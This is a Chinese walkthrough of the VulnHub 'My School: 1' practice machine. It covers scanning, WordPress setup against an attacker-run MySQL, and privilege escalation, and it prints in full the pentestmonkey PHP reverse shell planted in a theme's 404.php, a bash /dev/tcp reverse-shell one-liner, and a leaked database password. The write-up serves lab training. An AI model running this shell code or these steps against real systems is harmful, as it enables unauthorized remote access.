My School: 1靶场攻略-北京尧图网络

My School: 1 ~ VulnHub下载靶机渗透练习20-My School_mysql (unauthorized)-CSDN博客攻略1.前置知识网络地址主机位全 0 → 192.168.100.0代表整个网段广播地址主机位全 1 → 192.168.100.255发给网段所有设备 192.168.100.1 路由器可用主机 IP 范围 192.168.100.1 ~ 192.168.100.254 可用数量256 - 2 254 台设备 IP192 . 168 . 100 . 140 二进制分段 110000008 位 . 101010008 位 . 011001008 位 . 100011008 位连在一起一长串就是 32 个 0 和 1这就是完整 IP 二进制。 2 的 6 次方2^6 2×2×2×2×2×2 64 2 的 7 次方2^7 2×2×2×2×2×2×2 1282.主机发现arp-scan -I eth0 192.168.100.0/24 nmap -sn 192.168.100.0/24 netdiscover -i eth0 -r 192.168.100.0/24 masscan 192.168.100.140 -p 803.端口扫描nmap -sS -Pn --min-rate10000 -sV -O 192.168.100.140 -p-22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0)80/tcp open http Apache httpd 2.4.38 ((Debian))3306/tcp open mysql MySQL (unauthorized)8080/tcp open http Apache httpd 2.4.38 ((Debian))33060/tcp open mysqlx MySQL X protocol listener22 端口分析一般只能暴力破解暂时没有合适的字典80 端口分析访问 80 端口扫描一下80端口目录dirsearch -u http://192.168.100.140响应200的有好几个挨个打开一下http://192.168.100.140/admin/login.php可以看到是 CMS Made Simplekali中searchsploit CMS Made Simple搜索kali本地漏洞库发现有好多可利用的回头再去看看页面能否得到其他信息可知CMS的版本是2.2.14,再精确搜索一下searchsploit CMS Made Simple 2.2.14都有Authenticated,说明都需要授权才可以使用8080端口分析打开发现这是wordpress的安装界面kali中开启mysql在 kali 本地开启 mysql 服务然后先登陆一下看看账户和密码一般是 root/rootservice mysql startmysql -u root -p默认情况下数据库服务监听的是本地 IP想要其他 IP 访问需要修改配置文件改为0.0.0.0修改配置文件vim /etc/mysql/mariadb.conf.d/50-server.cnf改完之后重启一下mysqlservice mysql start 启动 systemctl restart mysql重启 systemctl status mysql检查状态 vim /etc/mysql/mariadb.conf.d/50-server.cnf修改配置接下来登录mysql创建wordpress 数据库并添加数据create database wordpress; create user wpuser192.168.100.140 identified by wppass;账号密码 grant all on wordpress.* to wpuser192.168.100.140 with grant option;添加增删改查 flush privileges;刷新 show databases;靶机上连接数据库主机kali成功登录对应靶机wordpress后台进入该区域放入我们的木马?php // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php // Copyright (C) 2007 pentestmonkeypentestmonkey.net set_time_limit (0); $VERSION 1.0; $ip 192.168.100.128; $port 6666; $chunk_size 1400; $write_a null; $error_a null; $shell uname -a; w; id; sh -i; $daemon 0; $debug 0; if (function_exists(pcntl_fork)) { $pid pcntl_fork(); if ($pid -1) { printit(ERROR: Cant fork); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() -1) { printit(Error: Cant setsid()); exit(1); } $daemon 1; } else { printit(WARNING: Failed to daemonise. This is quite common and not fatal.); } chdir(/); umask(0); // Open reverse connection $sock fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit($errstr ($errno)); exit(1); } $descriptorspec array( 0 array(pipe, r), // stdin is a pipe that the child will read from 1 array(pipe, w), // stdout is a pipe that the child will write to 2 array(pipe, w) // stderr is a pipe that the child will write to ); $process proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(ERROR: Cant spawn shell); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(Successfully opened reverse shell to $ip:$port); while (1) { if (feof($sock)) { printit(ERROR: Shell connection terminated); break; } if (feof($pipes[1])) { printit(ERROR: Shell process terminated); break; } $read_a array($sock, $pipes[1], $pipes[2]); $num_changed_sockets stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(SOCK READ); $input fread($sock, $chunk_size); if ($debug) printit(SOCK: $input); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(STDOUT READ); $input fread($pipes[1], $chunk_size); if ($debug) printit(STDOUT: $input); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(STDERR READ); $input fread($pipes[2], $chunk_size); if ($debug) printit(STDERR: $input); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print $string\n; } } ?404.php 是网站自带页面访问不存在的路径时服务器会自动执行这个文件那么我们访问一个网站不存在的目录http://192.168.100.140:8080/aaaaaaaaa这个老是反弹不过来换一个方法吧使用一句话木马2020 twentytwentyhttp://192.168.100.140:8080/wp-content/themes/twentytwenty/404.php成功拿到shell 反弹shell到kalibash -c /bin/sh -i /dev/tcp/192.168.100.128/9001 01python3 -c import pty; pty.spawn(/bin/bash)不用想又是一个虚假的flag切换用户查看网站目录/var/www/html发现 cms 中的一个密码?php # CMS Made Simple Configuration File # Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference # $config[dbms] mysqli; $config[db_hostname] localhost; $config[db_username] root; $config[db_password] SW)#$of4-9056d; $config[db_name] cmsms_db; $config[db_prefix] cms_; $config[timezone] America/New_York;权限提升这个命令支持cat和 ls有 sudo 权限说明可以任意文件读取执行命令cat /root/proof.txt

My School: 1靶场攻略

相关推荐

Kaggle 肥胖预测赛：4模型融合实战，准确率提升至 0.916 的完整流程

风云变幻无常

告别手工对账：公务员职级晋升中的任职年限、套转规则与基层经历如何精准计算？

更多资讯

风光场景生成技术：ISODATA算法在新能源电力系统中的应用

零代码搭建教培直播课堂：可原生支持直播授课的小程序系统汇总

STAR-CCM+潜艇子午线压力系数仿真：从网格策略到结果提取全流程

顶刊配色方案实战拆解：深蓝暖橙三层结构，科研图表高级感升级

YOLOv5车型识别实战：从模型训练到系统部署全流程

CVAT 计算机视觉标注工具：从零到第一个标注数据集只要 10 分钟

今日更新

CopilotKit Vue Demo 与 React Demo 的 Parity 实现指南：路由、运行时端点与交互语义的全框架对齐

Harbor RBAC 实战：db_auth 模式下非管理员用户管理项目成员的完整验证与权限模型解析

STM32平衡车纯平衡程序从拆包到参数整定的完整调试指南

本周精选

超人会飞不算本事：系统稳定依赖清晰规则与边界设计

超人VS蜘蛛侠：拆解超级IP的影响力与传播方法论

基于CNN的调制信号识别：MATLAB实现时频图分类实战

本月热门

基于YOLO的焊缝缺陷检测：从数据标注到工业部署全流程实践

分布式服务的决策记录

创业产品的首版范围

读完文章，想聊聊您的网站？